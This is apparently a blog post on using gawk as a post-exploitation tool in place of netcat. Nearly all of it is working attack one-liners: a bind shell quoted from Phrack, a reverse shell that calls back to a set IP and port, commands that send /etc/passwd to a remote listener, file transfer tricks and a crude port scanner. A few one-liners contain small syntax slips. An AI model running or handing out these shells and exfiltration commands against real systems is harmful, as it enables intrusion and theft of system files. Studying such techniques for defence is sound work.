Post-Exploitation With gawk

You can use gawk to sling shells and files across a network similar to how one would with netcat. gawk is often present on Linux systems that do not have netcat installed, which can be quite useful in certain situations.

I first read about using gawk for this a long time ago (2004!) in a Phrack article by the grugq. gawk’s utility as a post-exploitation tool is well-documented in the GTFObins project.

The TCP/IP Internetworking With gawk manual provides documentation on how to use sockets with gawk. With some imagination and effort, one could use gawk as a port scanner, command and control mechanism, and get into all sorts of mischief.

Sektor7’s blog has some neat examples of abusing gawk in this manner, using UDP and encoding traffic with base64.

Bind Shell

Here is the verbatim example from the Phrack article linked above

[------------------------------------------------------------------------]
        #!/usr/bin/gawk -f

        BEGIN {
                Port    =       8080
                Prompt  =       "bkd> "

                Service = "/inet/tcp/" Port "/0/0"
                while (1) {
                        do {
                                printf Prompt |& Service
                                Service |& getline cmd
                                if (cmd) {
                                        while ((cmd |& getline) > 0)
                                                print $0 |& Service
                                        close(cmd)
                                }
                        } while (cmd != "exit")
                        close(Service)
                }
        }
[------------------------------------------------------------------------]

I don’t use bind shells very often, but this is the earliest example of using gawk in this manner that I have seen, and what inspired me to explore gawk a bit more.

This example can be shortened into a one-liner:

gawk 'BEGIN{P=8080;T="> ";V="/inet/tcp/"P"/0/0";while(1){do{printf T|&V;V|&getline c;if(c){while((c|&getline)>0){print $0|&V;};close(c);}}while(c!="exit"){close(v)}}}'

Reverse Shell

Here is a one-liner to use gawk as a reverse shell:

gawk 'BEGIN {P=443;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

Sending Data

First set up a listener on the host you wish to receive the data:

nc -lnvp 4444 > output

Next, use gawk to send the file to this host:

cat /etc/passwd | gawk 'BEGIN {P=4444;H=192.168.1.100";V="/inet/tcp/0/"H"/"P;while(getline c)print c|&V}'

The contents of /etc/passwd should now be in output on the receiving host.

Receiving Data (bind shell)

Set up the listener with gawk to receive data, redirecting output to /tmp/foo:

gawk 'BEGIN {P=4444;S="/inet/tcp/"P"/0/0";while(S |&getline c)print c}' >/tmp/foo

Send data to the gawk listener using netcat:

cat /etc/passwd | nc -q 0 192.168.1.100 4444

Receiving Data (reverse shell)

Serve a file with netcat:

cat /etc/passwd |nc -Nnlvp 4444

Get this file with gawk:

gawk 'BEGIN {P=4444;H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(V|&getline c)if(c)print c}' > /tmp/foo

Port Scanner

Using gawk as a crude port scanner:

gawk 'BEGIN {H="127.0.0.1";for (i=1; i <= 1024; i++){V="/inet/tcp/0/"H"/"i;PROCINFO[V, "READ_TIMEOUT"] = 100;V|&getline; if(ERRNO != "Connection timed out"){continue}else{print(i" open");close(V)}}}'

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s